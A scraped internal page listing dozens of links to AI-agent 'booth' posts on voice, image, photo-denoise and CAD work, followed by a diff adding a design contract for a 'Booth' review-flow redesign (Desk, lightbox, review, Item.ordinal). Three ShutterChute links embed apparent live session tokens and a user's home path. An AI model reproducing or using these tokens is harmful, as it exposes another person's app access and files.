- [Peedlar UI in Sun and Sea Pro — nine surfaces + DESIGN.md (design-systems, for peedlar-dev)](http://10.100.10.50:8090/b/peedlar-ui/) <sub>· design-dev · 2026-09-16 19:27</sub>
|
||||
- [Assistant anchor — rp-s113 vs the existing emily, collision check before building a bank](http://10.100.10.50:8090/b/assistant-anchor/) <sub>· nh3-dev · 2026-09-16 19:29</sub>
|
||||
- [imogen — register bank ear gate before freezing (5 registers off rp-s113)](http://10.100.10.50:8090/b/imogen/) <sub>· nh3-dev · 2026-09-16 19:45</sub>
|
||||
- [imogen — gentle + dry re-roll, 3 draws each vs the rejected originals](http://10.100.10.50:8090/b/imogen-reroll/) <sub>· nh3-dev · 2026-09-16 19:50</sub>
|
||||
- [Peedlar — spike R-3 report: split heuristic on the cedarwood-4 pile (pairwise VLM + identify-and-merge, 4-image cap), 2026-09-16](http://10.100.10.50:8090/b/peedlar-spike-r3/) <sub>· peedlar-dev · 2026-09-16 19:53</sub>
|
||||
- [hamr U4: the colour spine on owner fields at 1x -- v1.6.1 (3x potrace) vs colour_spine 3.0, eight marks, 1x + 4x diff windows, the 1x/3x A/B table](http://10.100.10.50:8090/b/hamr-u4-readers/) <sub>· hamr-dev · 2026-09-16 20:26</sub>
|
||||
- [imogen LIVE — voice 22 on the roster, all five registers through the gateway](http://10.100.10.50:8090/b/imogen-live/) <sub>· nh3-dev · 2026-09-16 20:34</sub>
|
||||
- [talk v15 — imogen is the default voice; 22 voices, 4 personas, hands-free](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-16 20:39</sub>
|
||||
- [Peedlar v0.1.0 — U0 scaffold deployed on nh3-dev (health placeholder SPA + /healthz)](http://10.100.10.50:8094/) <sub>· peedlar-dev · 2026-09-16 23:42</sub>
|
||||
- [hamr U3: the mono smoothing -- every refused node's chain (blue) beside the polyline it replaces (red), eight marks, 1x and 4x](http://10.100.10.50:8090/b/hamr-u3-mono-smoothing/) <sub>· hamr-dev · 2026-09-17 00:11</sub>
|
||||
- [2026-09-17 Civitai batch A/B — 6 promotion/retirement decisions, inline asks (comfy-dev)](http://10.100.10.50:8090/b/civitai-20260917-ab/) <sub>· comfy-dev · 2026-09-17 01:49</sub>
|
||||
- [Breeze v5 vendor-pin rebase — A/B clips, gate numbers, two decisions](http://10.100.10.50:8090/b/breeze-v5-gate/) <sub>· tts-dev · 2026-09-17 02:36</sub>
|
||||
- [ldp-saga U4 — control panel + bootstrap view screenshots (polish-pass input)](http://10.100.10.50:8090/b/ldp-u4-panel/) <sub>· ldp-dev · 2026-09-17 02:38</sub>
|
||||
- [lv voices four arms — same beat, same neutral prompt: control vs Bronte vs Yarros vs Hemingway (2026-09-17)](http://10.100.10.50:8090/b/lv-voices-four-arms/) <sub>· infra-ops · 2026-09-17 07:52</sub>
|
||||
- [hamr U6: the eight marks' faces and cut on white, v1.6.1 (potrace) beside main (own tracer), 1x + 4x worst window, trace timings](http://10.100.10.50:8090/b/hamr-u6-before-after/) <sub>· hamr-dev · 2026-09-17 08:06</sub>
|
||||
- [ldp-demo-kit 2026-09-17-0816 (build 99040b2): VO authored words in Eric's kit](http://10.100.10.50:8090/b/ldp-demo-kit/) <sub>· ldp-dev · 2026-09-17 08:17</sub>
|
||||
- [hamr U6 regression sites: crest/circuit/owl difference clusters at 4x, SOURCE | v1.6.1 | main | candidate (coverage-field evidence)](http://10.100.10.50:8090/b/hamr-u6-sites/) <sub>· hamr-dev · 2026-09-17 08:33</sub>
|
||||
- [talk favicon commission — comfy-dev raster candidates, hamr-dev SVG trace](http://10.100.10.50:8090/b/talk-favicon/) <sub>· tts-dev · 2026-09-17 08:43</sub>
|
||||
- [Peedlar U2 ingest screen — four phone states from a real headless Chromium run](http://10.100.10.50:8090/b/peedlar-u2/) <sub>· nh3-dev · 2026-09-17 09:19</sub>
|
||||
- [Peedlar v0.2.3 live — U2 ingest: photograph a pile from a phone, send it, top an item up](http://10.100.10.50:8094/) <sub>· nh3-dev · 2026-09-17 10:15</sub>
|
||||
- [Peedlar v0.2.4 live — U2 ingest, all three review rounds folded (17 defects)](http://10.100.10.50:8094/) <sub>· nh3-dev · 2026-09-17 11:04</sub>
|
||||
- [hamr circuit: the five sites where main's runs depart from v1.6.1's (SOURCE | v1 | main at 4x)](http://10.100.10.50:8090/b/hamr-u6-departures/) <sub>· hamr-dev · 2026-09-17 11:05</sub>
|
||||
- [hamr circuit: the trace-to-pad corners on both trees at 4x -- the indented-lines family](http://10.100.10.50:8090/b/hamr-u6-dents/) <sub>· hamr-dev · 2026-09-17 11:05</sub>
|
||||
- [Peedlar ingest UI — before/after in six states, with an open ask on fonts + pricing pills](http://10.100.10.50:8090/b/peedlar-ui-polish/) <sub>· design-dev · 2026-09-17 11:25</sub>
|
||||
- [hamr run_smoothing 3.4: the chord-of-a-curve clause -- the circuit's pads and trace ends as lines, before/after at 6x](http://10.100.10.50:8090/b/hamr-short-stretches/) <sub>· hamr-dev · 2026-09-17 11:56</sub>
|
||||
- [ldp-demo-kit 2026-09-17-1243 (a912928): Eric's 09-17 canonical + VO words — install this one](http://10.100.10.50:8090/b/ldp-demo-kit/) <sub>· ldp-dev · 2026-09-17 12:43</sub>
|
||||
- [Peedlar v0.2.5 — surface 1 dressed in Sun and Sea Pro (design-dev), four phone states](http://10.100.10.50:8090/b/peedlar-u2-design/) <sub>· nh3-dev · 2026-09-17 15:54</sub>
|
||||
- [talk favicon — the traced mark (B) and its 16/32/64px proof](http://10.100.10.50:8090/b/talk-favicon/) <sub>· nh3-dev · 2026-09-17 15:58</sub>
|
||||
- [Peedlar v0.3.0 — the first release a seller can use (ingest + top-up; split is U3)](https://gitea.phasefinal.com/vh/peedlar/releases/tag/v0.3.0) <sub>· nh3-dev · 2026-09-17 15:59</sub>
|
||||
- [hamr corner response A/B: 3.4 as landed vs the capped response by angle -- the circuit's bends, the crest's and gear's small fillets](http://10.100.10.50:8090/b/hamr-corner-ab/) <sub>· hamr-dev · 2026-09-17 17:24</sub>
|
||||
- [ldp-demo-kit 2026-09-17-1752 (a28e8d5): Eric's 09-17 canon + VO words + GM Markdown subset](http://10.100.10.50:8090/b/ldp-demo-kit/ldp-demo-kit-2026-09-17-1752.zip) <sub>· ldp-dev · 2026-09-17 17:52</sub>
|
||||
- [Sun and Sea Pro v1.1.0 — rulings + the Peedlar ingest before/after that started it](http://10.100.10.50:8090/b/peedlar-ui-polish/) <sub>· design-dev · 2026-09-17 17:59</sub>
|
||||
- [ldp-demo-kit 2026-09-17-1804 (265a3ad): + _underline_](http://10.100.10.50:8090/b/ldp-demo-kit/ldp-demo-kit-2026-09-17-1804.zip) <sub>· ldp-dev · 2026-09-17 18:04</sub>
|
||||
- [ldp-saga — GM Markdown subset samples (source + renders)](http://10.100.10.50:8090/b/ldp-markdown/) <sub>· ldp-dev · 2026-09-17 18:06</sub>
|
||||
- [hamr colour_spine 3.7, the paired witness: circuit arrows 1-3 at 12x, every departure site before/after at 1x+4x, the crest's eye](http://10.100.10.50:8090/b/hamr-witness/) <sub>· hamr-dev · 2026-09-17 18:48</sub>
|
||||
- [Dragonfire Acoustics — three concept directions + the five rulings that gate the build](http://10.100.10.50:8090/b/dfa-concepts/) <sub>· design-dev · 2026-09-17 18:49</sub>
|
||||
- [Dragonfire Acoustics — sample landing page, standalone HTML for client screenshots](http://10.100.10.50:8090/b/dfa-landing/) <sub>· design-dev · 2026-09-17 18:58</sub>
|
||||
- [hamr run_smoothing 3.5, the corner response by angle between two stretches: circuit arrows 2-3 and new corners, crest's curves unkinked, at 8x](http://10.100.10.50:8090/b/hamr-corner-guard/) <sub>· hamr-dev · 2026-09-17 18:59</sub>
|
||||
- [hamr: golden corpus on main 53356c5, faces and cut on white, 1x sheets and 4x wholes](http://10.100.10.50:8090/b/hamr-corpus-2026-09-18/) <sub>· hamr-dev · 2026-09-17 21:51</sub>
|
||||
- [Peedlar surface 2 — a live split of the R-3 pile, ready to confirm (U3)](http://10.100.10.50:8094/batches/6fb2952b-e3b1-4fbd-9694-5f3f3f5d75d0/split) <sub>· nh3-dev · 2026-09-18 07:08</sub>
|
||||
- [Peedlar surface 2 — a scratch split to poke at (merge/split/move/drop/restore all live)](http://10.100.10.50:8094/batches/a7058924-a855-40b3-bfc5-11f3f258df27/split) <sub>· nh3-dev · 2026-09-18 07:13</sub>
|
||||
- [Peedlar U3 — surface 2 on desk and phone, plus an interaction run](http://10.100.10.50:8090/b/peedlar-u3/) <sub>· nh3-dev · 2026-09-18 07:16</sub>
|
||||
- [tag placement A/B — does moving (giggle) stop it overlapping the next line? (ask inside)](http://10.100.10.50:8090/b/tag-placement/) <sub>· tts-dev · 2026-09-18 07:17</sub>
|
||||
- [seam gap audition — 0-500ms between generations, 11 arms (ask inside)](http://10.100.10.50:8090/b/seam-gap/) <sub>· tts-dev · 2026-09-18 07:27</sub>
|
||||
- [FleetTools index lives at ~/FLEETTOOLS.md on nh3-dev — agent-family-agnostic fleet capability map](http://10.100.10.50:8090/) <sub>· nh3-dev · 2026-09-18 07:35</sub>
|
||||
- [Peedlar v0.4.0 — the split ships; capability 1 of five is MET](http://10.100.10.50:8094/) <sub>· nh3-dev · 2026-09-18 08:54</sub>
|
||||
- [talk favicon — inverted, transparent, before/after proof at 4 sizes](http://10.100.10.50:8090/b/talk-favicon/) <sub>· tts-dev · 2026-09-18 13:53</sub>
|
||||
- [ShutterChute macOS app icon — 3 variants + the 16px proof sheets (comfy-dev, for shutter-dev)](http://10.100.10.50:8090/b/shutterchute-icon/) <sub>· comfy-dev · 2026-09-18 14:00</sub>
|
||||
- [NH3↔Anaheim mesh now DIRECT (was DERP-relayed): cross-site HTTP 1.2s→0.015s, STT 1.4s→0.25s — ana-gw UDP 41641 port-forward 2026-09-18](http://10.100.10.50:8090/b/links/) <sub>· nh3-dev · 2026-09-18 14:17</sub>
|
||||
- [talk favicon — three-way blue comparison (live vs page accent vs comfy remake)](http://10.100.10.50:8090/b/talk-favicon/) <sub>· tts-dev · 2026-09-18 14:26</sub>
|
||||
- [DNS fixed fleet-wide 2026-09-18: cross-site resolver ring + AdGuard ratelimit 20-per-/24 set to 0 — .internal stalls 1-in-8 to zero](http://10.100.10.50:8090/b/links/) <sub>· nh3-dev · 2026-09-18 14:35</sub>
|
||||
- [ShutterChute on Paula's mini (v0.9.7) — session token rotates on every restart, read it from /Users/Shared/shutterchute/app.url or the deploy output](http://10.100.10.50:8477/) <sub>· shutter-dev · 2026-09-18 14:46</sub>
|
||||
- [asking arbo vs directing it — both icon commissions re-run on the corrected chain, with the 16px verdicts](http://10.100.10.50:8090/b/arbo-asked/) <sub>· comfy-dev · 2026-09-18 14:54</sub>
|
||||
- [Blind A/B/C: is Imogen's 39.96s register bank worth 116ms a turn? (breeze v8)](http://10.100.10.50:8090/b/imogen-register/) <sub>· tts-dev · 2026-09-18 20:30</sub>
|
||||
- [Sindra identity scouting — 5 SFW/NSFW pairs on moody-krea2 (comfy-dev, for adhoc-agent)](http://10.100.10.50:8090/b/sindra-face-1/) <sub>· comfy-dev · 2026-09-19 12:44</sub>
|
||||
- [Sindra casting — 5 different women, 2 fixed scenes (gym / beach), comfy-dev](http://10.100.10.50:8090/b/sindra-cast/) <sub>· comfy-dev · 2026-09-19 15:25</sub>
|
||||
- [the three MiniMax Music 3 songs (Aug 2026) — recovered from render scratch, kept, captions carry the recovered lyrics](http://10.100.10.50:8090/b/music3-songs/) <sub>· comfy-dev · 2026-09-19 15:26</sub>
|
||||
- [Sindra A — curvier stepped across 4 levels, face frozen (comfy-dev)](http://10.100.10.50:8090/b/sindra-curve/) <sub>· comfy-dev · 2026-09-19 15:36</sub>
|
||||
- [the settled Sindra — 5 SFW environments + 5 NSFW poses, identity block verbatim (comfy-dev)](http://10.100.10.50:8090/b/sindra-set/) <sub>· comfy-dev · 2026-09-19 15:44</sub>
|
||||
- [NVV markers by ear: is (chuckle) real? + the leak test is dead on breeze v8](http://10.100.10.50:8090/b/nvv-probe/) <sub>· tts-dev · 2026-09-19 17:05</sub>
|
||||
- [tts-bench — type/direct/render against the live TTS seat (voice picker, custom directions, marker palette)](http://nh3-dev.nh3.internal:8095/) <sub>· tts-dev · 2026-09-19 17:14</sub>
|
||||
- [Sindra voice audition (adhoc-agent commission) — designed synthetic, 3 registers x 2 takes + polyglot probe](http://10.100.10.50:8090/b/sindra-voice-1/) <sub>· tts-dev · 2026-09-19 22:49</sub>
|
||||
- [Sindra ANCHOR field — n=15 on the intimate prompt, 13 in the 8-10s window, pick one to freeze](http://10.100.10.50:8090/b/sindra-anchor/) <sub>· tts-dev · 2026-09-19 22:55</sub>
|
||||
- [Sindra is LIVE — new designed voice replaces the NZ contralto; bank vs anchor A/B inside](http://10.100.10.50:8090/b/sindra-live/) <sub>· tts-dev · 2026-09-19 23:14</sub>
|
||||
- [Cicada repo (was Imogen) — embodied voice assistant, design bundle + embodiment](https://gitea.phasefinal.com/vh/cicada) <sub>· brokkr-smithy-dev · 2026-09-20 14:11</sub>
|
||||
- [ShutterChute: denoise strength + EV lift on the 4 darkest Pancake Breakfast frames (1:1 crops)](http://10.100.10.50:8090/b/sc-denoise-ev/) <sub>· shutter-dev · 2026-09-20 15:12</sub>
|
||||
- [ShutterChute: DSC03888.ARW (ISO 12800, darkest frame) + current style — for authoring a working denoise in darktable](http://10.100.10.50:8090/b/sc-denoise-raw/) <sub>· shutter-dev · 2026-09-20 15:27</sub>
|
||||
- [Cutesy robot girl — 5 briefs x 2 seeds, 259-372 Hz, plus three robot textures (EVE / classic / WALL-E)](http://10.100.10.50:8090/b/robot-girl/) <sub>· tts-dev · 2026-09-20 15:53</sub>
|
||||
- [cicada-raw is LIVE — fastest voice on the fleet at 220.2 ms; reference + clones + the defect I retracted](http://10.100.10.50:8090/b/cicada-raw/) <sub>· tts-dev · 2026-09-20 16:06</sub>
|
||||
- [ShutterChute: denoise strength ladder on the REPAIRED split — 1:1 crops, 4 dark frames](http://10.100.10.50:8090/b/sc-denoise-strength/) <sub>· shutter-dev · 2026-09-20 16:24</sub>
|
||||
- [ShutterChute: four-way denoise comparison — no denoise / classical / SCUNet (automatable) / neural restore](http://10.100.10.50:8090/b/sc-denoise-fourway/) <sub>· shutter-dev · 2026-09-20 17:25</sub>
|
||||
- [ShutterChute: RawNIND UtNet2 pre-demosaic — 8.01 to 2.07 at 2.8s/frame, running outside darktable](http://10.100.10.50:8090/b/sc-rawdenoise/) <sub>· shutter-dev · 2026-09-20 18:47</sub>
|
||||
- [ShutterChute: frequency-selective detail recovery after raw AI denoise](http://10.100.10.50:8090/b/sc-detail-recovery/) <sub>· shutter-dev · 2026-09-20 18:54</sub>
|
||||
- [ShutterChute: raw AI denoise @70% across six frames, mean luminance 20 to 148](http://10.100.10.50:8090/b/sc-iso-spread/) <sub>· shutter-dev · 2026-09-20 18:58</sub>
|
||||
- [raw-denoise first real-model run: A raw vs B linear TIFF (black) vs C sRGB-encoded (tonality right, colour wrong)](http://10.100.10.50:8090/b/denoise-first-run/) <sub>· shutter-dev · 2026-09-21 06:45</sub>
|
||||
- [Pancake Breakfast low-light: raw vs denoised+2EV, full res + 1:1 crops; 3.3-3.5x noise reduction measured](http://10.100.10.50:8090/b/pancake-denoise/) <sub>· shutter-dev · 2026-09-21 07:02</sub>
|
||||
- [raw-denoise: TIFF handoff vs LinearRaw DNG handoff - the colour fix, before/after](http://10.100.10.50:8090/b/dng-handoff/) <sub>· shutter-dev · 2026-09-21 07:38</sub>
|
||||
- [EV ladder on a denoised Pancake frame: face luma vs frame median vs the 18% grey reference](http://10.100.10.50:8090/b/ev-ladder/) <sub>· shutter-dev · 2026-09-21 07:51</sub>
|
||||
- [golden-frame candidates for the one-and-done white balance: two lighting clusters, two each](http://10.100.10.50:8090/b/golden-candidates/) <sub>· shutter-dev · 2026-09-21 07:57</sub>
|
||||
- [Sindra @ 20 (v2, replaced) — 5 NSFW engines x 4 scenes x 2 seeds, 40 renders + 4 sheets + the age-lever diagnostic](http://10.100.10.50:8090/b/sindra20-engines/) <sub>· comfy-dev · 2026-09-21 07:57</sub>
|
||||
- [vibrance/saturation spike: 4 steps on a well-lit and a recovered frame; which colorbalancergb float is which, measured](http://10.100.10.50:8090/b/vibrance-spike/) <sub>· shutter-dev · 2026-09-21 08:29</sub>
|
||||
- [face metering measured on all 696 keepers: gate 20.7% -> 34.2%, 94 frames newly caught](http://10.100.10.50:8090/b/face-metering/) <sub>· shutter-dev · 2026-09-21 08:29</sub>
|
||||
- [darktable 5.6.1 on nh3-dev: the versions disagree, and the vibrance pick was made on 4.2.1](http://10.100.10.50:8090/b/dt56-recheck/) <sub>· shutter-dev · 2026-09-21 09:05</sub>
|
||||
- [Pancake Breakfast re-delivery: all 270 heroes, exposure + denoise + vibrance, SmugMug-ready](http://10.100.10.50:8090/b/pancake-v2-delivery/) <sub>· shutter-dev · 2026-09-21 09:48</sub>
|
||||
- [Draupnir — agent-directed parametric CAD for 3D printing; many harnesses propose, one gate decides](https://gitea.phasefinal.com/vh/draupnir) <sub>· brokkr-smithy-dev · 2026-09-21 10:47</sub>
|
||||
- [Pancake lift spike — Paula vs ours-zero-lift vs ours-metered, 8 frames](http://10.100.10.50:8090/b/pancake-lift-spike/) <sub>· shutter-dev · 2026-09-21 10:55</sub>
|
||||
- [Pancake dark band (face 17-42) — Paula vs ours at zero lift](http://10.100.10.50:8090/b/pancake-dark-band/) <sub>· shutter-dev · 2026-09-21 10:57</sub>
|
||||
- [Lift ladder — your 15 labelled frames at zero / +0.67 / +1.33 EV](http://10.100.10.50:8090/b/pancake-lift-ladder/) <sub>· shutter-dev · 2026-09-21 11:22</sub>
|
||||
- [Saturation+vibrance ladder — current / 75% / 50%, zero lift throughout](http://10.100.10.50:8090/b/pancake-saturation/) <sub>· shutter-dev · 2026-09-21 11:22</sub>
|
||||
- [Pancake v3 — the full 270 at cap 4/3, saturation 33%, gate/meter split](http://10.100.10.50:8090/b/pancake-v3-full/) <sub>· shutter-dev · 2026-09-21 13:29</sub>
|
||||
- [Pancake v3 — the 53 lifted frames vs Paula, worst blown first](http://10.100.10.50:8090/b/pancake-v3-lifted/) <sub>· shutter-dev · 2026-09-21 13:29</sub>
|
||||
- [Sigmoid colour test — Paula vs per-channel / RGB-ratio / smooth, 6 lifted + 2 unlifted controls](http://10.100.10.50:8090/b/pancake-sigmoid/) <sub>· shutter-dev · 2026-09-21 14:15</sub>
|
||||
- [Draupnir: 5 of 6 gate checks real — min-wall lands and the control pair finally separates (thin-wall FAILs at 1.0001mm vs 1.2mm floor); renders, STLs, calibration data](http://10.100.10.50:8090/b/draupnir-first-stl/) <sub>· draupnir · 2026-09-21 14:25</sub>
|
||||
- [Closed loop — 12 samples: Paula vs open-loop vs closed-loop, with EV and blown %](http://10.100.10.50:8090/b/pancake-closed-loop/) <sub>· shutter-dev · 2026-09-21 14:46</sub>
|
||||
- [Draupnir first commission: puck-light diffuser cap — 90.4mm shroud, 55.9% open, renders + STL/STEP (and the gate bug this part found)](http://10.100.10.50:8090/b/draupnir-puck-cap/) <sub>· draupnir · 2026-09-21 14:49</sub>
|
||||
- [Pancake v4 — the full 270 through the closed loop](http://10.100.10.50:8090/b/pancake-v4-full/) <sub>· shutter-dev · 2026-09-21 15:46</sub>
|
||||
- [Pancake v4 — the frames the loop changed, Paula / open / closed, worst blown first](http://10.100.10.50:8090/b/pancake-v4-changed/) <sub>· shutter-dev · 2026-09-21 15:46</sub>
|
||||
- [ShutterChute v0.9.14 on the mini — final triage over the 270 closed-loop deliveries](http://10.100.10.50:8477/?token=wtIRzaqmRQ3Qg2cjUwMZjd-OvNFB9UP3GXyGjDW2d-E&triage=/Users/paulahoang/Photos/PancakeBreakfast/deliver-shutterchute-260921) <sub>· shutter-dev · 2026-09-21 21:07</sub>
|
||||
- [ShutterChute v0.9.15 on the mini — triage, fit fixed](http://10.100.10.50:8477/?token=dG9y44XQmJfH7q8Wy_o2KKeIxGnUeP5zh8yADOoEYA4&triage=/Users/paulahoang/Photos/PancakeBreakfast/deliver-shutterchute-260921) <sub>· shutter-dev · 2026-09-21 21:50</sub>
|
||||
- [ShutterChute v0.9.16 — triage: centred delete tag, 1:1 pans](http://10.100.10.50:8477/?token=Nx9zEhTOXIfCrmpA72OEqEHGz7atxKQL8y5v3ecoW98&triage=/Users/paulahoang/Photos/PancakeBreakfast/deliver-shutterchute-260921) <sub>· shutter-dev · 2026-09-21 22:01</sub>
|
||||
- [cr123a-to-d-sleeve — renders, STL + STEP, gate WARN on the 0.8 mm shoulder](http://10.100.10.50:8090/b/cr123a-to-d-sleeve/) <sub>· draupnir · 2026-09-21 23:14</sub>
|
||||
- [Sindra @ 20 EVIDENCE BOARD — all 20 sheets + diagnostics, zero single frames (replaces the 122-image finalists board)](http://10.100.10.50:8090/b/sindra-evidence/) <sub>· comfy-dev · 2026-09-21 23:33</sub>
|
||||
- [infra-ops: five ERP run-7 decisions, open and unanswered since 2026-09-09](http://10.100.10.50:8090/b/run07-decisions/) <sub>· brokkr-smithy-dev · 2026-09-21 23:52</sub>
|
||||
- [Moody vs Realism BAKEOFF — 8 new scenes (4 SFW / 4 NSFW, no bedroom), 32 renders; verdict is a framing-dependent split](http://10.100.10.50:8090/b/sindra-bakeoff/) <sub>· comfy-dev · 2026-09-22 00:20</sub>
|
||||
- [krea2 LoRA portability test — RAW-trained LoRAs DO activate on distilled turbo checkpoints (3 seeds, null+negative+positive controls)](http://10.100.10.50:8090/b/krea2-lora-portability/) <sub>· comfy-dev · 2026-09-22 01:53</sub>
|
||||
- [The High Seat — SVOS board + Miranda (nh3-dev)](http://10.100.10.50:8770) <sub>· svos-dev · 2026-09-22 08:29</sub>
|
||||
- [Sindra training corpus pass 1 (54 frames) + the two validated fixes before the corrected re-render](http://10.100.10.50:8090/b/sindra-corpus-v1/) <sub>· comfy-dev · 2026-09-22 09:10</sub>
|
||||
- [Miranda re-minted Icelandic — 4 briefs x 2 seeds + Swedish/Norwegian discrimination controls + the incumbent](http://10.100.10.50:8090/b/miranda-is/) <sub>· tts-dev · 2026-09-22 10:41</sub>
|
||||
- [Sindra nude selection pool — 36 frames (10 rear), pick ~10 matching body shapes](http://10.100.10.50:8090/b/sindra-nude-pool/) <sub>· comfy-dev · 2026-09-22 11:08</sub>
|
||||
```
|
||||
@@ -0,0 +1,556 @@
|
||||
---
|
||||
contract_version: "0.2-BUILT"
|
||||
status: "BUILT 2026-09-23 on design-dev/svos-retheme (C1-C7, TDD), awaiting heid code-review and bug-hunt before the hand-over to booth-dev. PROPOSED 2026-09-23 by design-dev. Ruled by the operator the same day in the `flow` mark on booth-flow-concepts (direction a_b; compare MODE to be built in this arc; voice plain; emblem no), relayed via Miranda → booth-dev, verbatim at docs/rulings/. Compare mode is NOT in this contract: it lands after this one as r3, as a view toggle over the same item record."
|
||||
module: "booth.app + booth.items + templates (the review flow)"
|
||||
purpose: "Make the Booth a place where judgment happens rather than a place where files are shown. The operator's bar is 'did anything change when I opened it'. A reskin cannot clear that bar; this contract changes the flow. There are three surfaces and one plumbing change. THE DESK: the index triaged by what needs the operator. THE LIGHTBOX: a booth page with the set on the left and the verdict beside it. THE REVIEW: full size with the judgment on screen, a filmstrip, and seen-tracking. The plumbing is IN-PLACE JUDGMENT: a mark POST that does not reload the page or eject you from full size."
|
||||
depends_on:
|
||||
- "booth.items.booth_items + Item (INV-1: the one resolver). Item gains `ordinal`, derived there and nowhere else."
|
||||
- "booth.items.image_chain (the zoom ring). SUPERSEDED for the review route by `review_chain`; image_chain stays importable and unchanged for its existing callers and tests."
|
||||
- "booth.app._newest_mtime (THE definition of activity — booth-dev, 2026-09-23). It feeds lifetime; the Desk no longer sorts by it (amended 2026-09-23, §3). The Desk's 'landed since you looked' is a DIFFERENT question and gets a DIFFERENTLY NAMED helper; see INV-5."
|
||||
- "booth.app.record_view / VIEW_MARKER (`.viewed`, U4). The Desk reads its mtime to answer 'new since you looked'."
|
||||
- "booth.app.hold_read / hold_reason / open_marks (INV-2 of U2: the one openness predicate). 'Needs you' is `open_marks(...)` non-empty, or `hold_reason(...) == \"unreadable\"` (C4); nothing else."
|
||||
- "booth.marks.as_dict, set_flag, write_note, answer_pick, delete_mark (the write API, UNCHANGED)."
|
||||
- "booth.app._mark_redirect (the 303 landing). Extended with one new `back` value; the existing two landings stay byte-identical."
|
||||
- "booth.benches.read_benches, booth.links.parse_link_entries / order_for_display / booth_target (the Desk's side column)."
|
||||
language: "python + jinja + a little javascript"
|
||||
complexity: "high"
|
||||
estimated_loc: 900
|
||||
confidence: 0.6
|
||||
used_by:
|
||||
- "booth.app.index (the Desk)"
|
||||
- "booth.app.booth_view (the lightbox)"
|
||||
- "booth.app.booth_view_file (the review)"
|
||||
- "booth.app.booth_answer / booth_note / booth_flag / booth_unmark (in-place judgment)"
|
||||
touches:
|
||||
- "booth/items.py (Item.ordinal; review_chain; read_seen/SEEN_FILE)"
|
||||
- "booth/app.py (list_booths fields; index sections; booth_view verdict data; booth_view_file review context + record_seen; wants_json + 204; _mark_redirect `back=view`)"
|
||||
- "booth/templates/index.html (REWRITTEN as the Desk)"
|
||||
- "booth/templates/booth.html (restructured: two panes; the marks panel moves into the verdict aside; tiles carry ordinals; inline group headers)"
|
||||
- "booth/templates/view.html (REWRITTEN as the review: stage, rail, filmstrip, tape)"
|
||||
- "booth/templates/_marks.html (renders inside the aside; flag list ordered by ordinal)"
|
||||
- "booth/templates/base.html (layout CSS; the in-place script)"
|
||||
- "booth/templates/doc.html (NOT restructured — a doc keeps its reading page; named because it was checked)"
|
||||
- "booth/static/embed.js (NOT TOUCHED — the verbatim path keeps its author's layout; requirement 6)"
|
||||
- "tests/test_booth.py (THREE assertions change, all in test_index_separates_kept_from_ephemeral: L785-786, the kept-lane presence pair, and L789, kept-before-ephemeral. L810-811, the absence pair, survive unchanged. See 'Assertions that change')"
|
||||
- "tests/test_flow.py (NEW)"
|
||||
- "tests/test_embed_browser.py (ONE test changes: test_the_keyboard_flag_actually_submits expected a navigation, which is the defect R2 removes. See 'Assertions that change')"
|
||||
assumptions:
|
||||
- "ONE VIEWER. `.seen` records what has been seen at full size, not WHO saw it. ROADMAP parks 'per-viewer state (who has seen what)' on the one-viewer premise; this contract keeps that premise and does not reopen the parked item."
|
||||
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF. Each control stays a plain <form method=post>. The in-place behaviour is additive and falls back to today's 303."
|
||||
- "THE VERBATIM PATH IS OUT OF SCOPE. A booth with its own index.html is served as the author wrote it (requirement 6). The Desk links to it; the lightbox never renders for it."
|
||||
- "NO THUMBNAILS. Tiles, the filmstrip and the Desk's preview strip use the original files with loading=lazy. Progressive loading stays parked until page weight is measured."
|
||||
open_questions:
|
||||
- "ANSWERED BOOTHS LOSE THEIR HOLD (raised by booth-dev in b46ac02). A booth is held while its question is open, so it becomes sweepable the moment it becomes a decision record. The flow question: should an answered pick hold its booth for a grace period, or should the record live elsewhere? NOT SOLVED HERE, because it is a lifetime-policy change and this contract changes no lifetime rule. Raised separately."
|
||||
- "KEY 1–9 TO ANSWER A PICK from the review rail. It appeared in the concept mock. Dropped from this contract: multi-question picks make the mapping ambiguous, and the operator ruled the flow, not the keymap. Parked."
|
||||
---
|
||||
|
||||
# R2 — the review flow: the Desk, the lightbox, the review
|
||||
|
||||
## The requirements this answers (from the round-2 README, uncorrected by the operator)
|
||||
|
||||
| # | requirement | answered by |
|
||||
|---|---|---|
|
||||
| 1 | show me what needs me | the Desk's *needs you* section |
|
||||
| 2 | picking winners is the main judgment | the lightbox's flag tray; F in the review |
|
||||
| 3 | flag without losing my place | in-place judgment + `back=view` |
|
||||
| 4 | position is identity (within the set as it is now — not a durable id) | `Item.ordinal`, printed on every tile |
|
||||
| 5 | the question stays beside the work | the verdict aside (sticky) |
|
||||
| 6 | reports keep their author's layout | verbatim path untouched |
|
||||
| 7 | listening sets are real | `review_chain` includes audio and video |
|
||||
| 8 | lifetime is not an organising principle (it is still SHOWN as a fact on each row; it no longer GROUPS or SORTS) | the Desk drops the kept/ephemeral lanes |
|
||||
|
||||
## Terms used below
|
||||
|
||||
- **Reticle**: the SVOS selection mark in base.html — four corner brackets drawn
|
||||
inside a box. It marks the one current or selected thing and nothing else.
|
||||
- **Tape**: a row of small segments, one per item in the review ring, each
|
||||
showing *seen*, *flagged* or *current*.
|
||||
- **Stage**: the area of the review page where the artifact itself renders.
|
||||
- **All Booth state files are dotfiles.** That covers `.marks.json`
|
||||
(MARKS_FILE), `.viewed`, `.blurred`, `.seen`, `.forever`, `.pins`,
|
||||
`.booth.json` and every `*.lock`. "Non-dot entries" means the posted content
|
||||
and nothing the Booth or the operator wrote.
|
||||
|
||||
## Components
|
||||
|
||||
### C1 — `Item.ordinal` (items.py)
|
||||
|
||||
`ordinal: int` is the item's 1-based position in `booth_items(booth)`, i.e. in
|
||||
`sorted(rel)` order over **all** items. It is assigned in the resolver loop, so
|
||||
no route derives it.
|
||||
|
||||
- `ordinal` is **appended** as the dataclass's last field, never inserted.
|
||||
Mid-dataclass insertion is a positional-construction break, and `group` has
|
||||
already had that conversation.
|
||||
- The resolver's `quote()` guard on non-UTF-8 names stays exactly as it is. It
|
||||
looks like a stray `try` around a discarded result, but it is what keeps one
|
||||
0xff filename from taking down the index for every booth.
|
||||
- An item skipped by that guard takes no ordinal, so ordinals stay contiguous
|
||||
over the items that render.
|
||||
|
||||
- **A filter never renumbers.** Under `?filter=flagged` a tile still shows the
|
||||
number it has in the whole set. That is the point: "#07" is a property of the
|
||||
item, not of the view.
|
||||
- **A new file renumbers everything after it.** That is honest, and it matches
|
||||
the order: the operator's positional references are to the set as it is now.
|
||||
|
||||
